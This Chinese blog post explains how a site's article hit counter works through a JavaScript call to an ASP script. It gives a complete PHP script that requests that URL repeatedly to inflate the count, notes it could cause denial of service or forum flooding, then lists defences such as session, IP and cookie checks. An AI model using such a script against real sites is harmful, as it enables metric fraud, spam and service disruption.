<p> 今天无意间看到一个网站,它的计数器能够在静态页里更新,我想,应该是使用js来做的,打开源代码一看,果然是:</p><code><div align=center><SPAN class=Article_tdbgall><br />作者:未知 文章来源:Meidi.Net<br />点击数:<br /><script language=’javascript’ src=’/Article/GetHits.asp?ArticleID=759’></script><br />更新时间:2005-5-27</SPAN><br /></div></code></p><p> 点击数后面是一个asp文件去处理的,那么我打开这个文件看看:</p><code>document.write(’210’);</code></p><p> 是吧,就是GetHists.asp文件处理ArticleID后提取结果后输出次数:document.write(’次数’),再静态页里就能够直接引用了。</p><p> 坏人终究是坏人,那么我就想,如何能够迅速提升点击数呢?手工刷新的话不是很类,恩,赶紧写个PHP程序来自动的去访问这个文件。</p><p> PHP代码如下:</p><code><?php<br />/* access_url.php */<br />define(SUM, 1000); //需要访问的次数<br />define(L_TIME, 1000); //强制脚本执行的时间<br />define(S_TIME, 1); //每次访问之间休眠的时间<br />$url = "http://www.xxx.com/Article/GetHits.asp?ArticleID=759"; //需要访问的地址<br />set_time_limit(L_TIME);<br />//访问指定URL函数<br />function access_url($url)<br />{<br /> if ($url==’’) return false;<br /> $fp = fopen($url, ’r’) or exit(’Open url faild!’);<br /> if ($fp) {<br /> while (!feof($fp)) {<br /> $file = fgets($fp);<br /> echo $file."<br /><p> </p><br />";<br /> }<br /> unset($file);<br /> }<br />}<br />//进行测试<br />for ($i=0; $i<SUM; $i++) {<br /> access_url($url);<br /> sleep(S_TIME);<br />}<br />?></code></p><p> 运行上面的程序,那么就会连续访问指定的URL地址,那么自然这个访问次数就会连续增加,达到灌水的效果。如果是流量大,而且用多程序去运行的话,那么很容易就会达到拒绝服务(DoS)的效果了。如果对方的防范措施,把代码修改一下针对论坛进行提交,很容易实现论坛灌水的效果。</p><p> 防范方法:</p><p> 1. 代码中使用Session机制,当用户提交的时候生成一个Session ID,提交内容的时候判断是否已经提交,如果已提交那么就不允许刷。</p><p> 2. 当用户提交以后记录用户的IP地址,如果指定时间内再提交的话就不允许再提交。</p><p> 3. 当用户提交内容以后,在用户客户端写入Cookie,如果用户再次提交先检查客户端是否有Cookie来确定是否允许提交。</p><p> 还有很多其他方法,可以去搜索一下,或者发挥自己的想象力,做的更好。</p>